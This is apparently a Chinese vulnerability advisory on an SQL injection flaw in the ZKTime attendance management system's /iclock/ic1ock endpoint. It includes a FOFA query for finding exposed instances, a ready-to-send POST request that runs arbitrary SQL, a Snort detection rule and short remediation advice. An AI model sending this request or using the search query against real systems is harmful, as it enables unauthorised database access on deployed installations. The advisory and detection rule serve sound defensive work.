ZKTime熵基智能考勤管理系统 ic1ock 存在SQL注入漏洞¶

ZKTime熵基智能考勤管理系统 ic1ock 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本¶

ZKTime熵基智能考勤管理系统

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：body="/media/images/ZKECO16.ico"

POC/EXP：

POST /iclock/ic1ock HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Type: application/x-www-form-urlencoded

submit=%E6%89%A7%E8%A1%8C+SQL+%E8%AF%AD%E5%8F%A5&sql=select version()

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"ZKTime Biometrics - SQL Injection in ic1ock (CVE-2025-XXXXX)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/iclock/ic1ock"; http_uri;
    content:"Content-Type: application/x-www-form-urlencoded"; http_header;
    content:"sql="; http_client_body;
    pcre:"/sql=[^&]*(select|union|insert|update|delete|drop|alter)[^&]*\(/i";
    metadata:service http;
    metadata:affected_product "ZKTime熵基智能考勤管理系统";
    metadata:vulnerability_type "SQL Injection";
    reference:cve,CVE-2025-XXXXX;
    classtype:sql-injection;
    sid:1000267;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。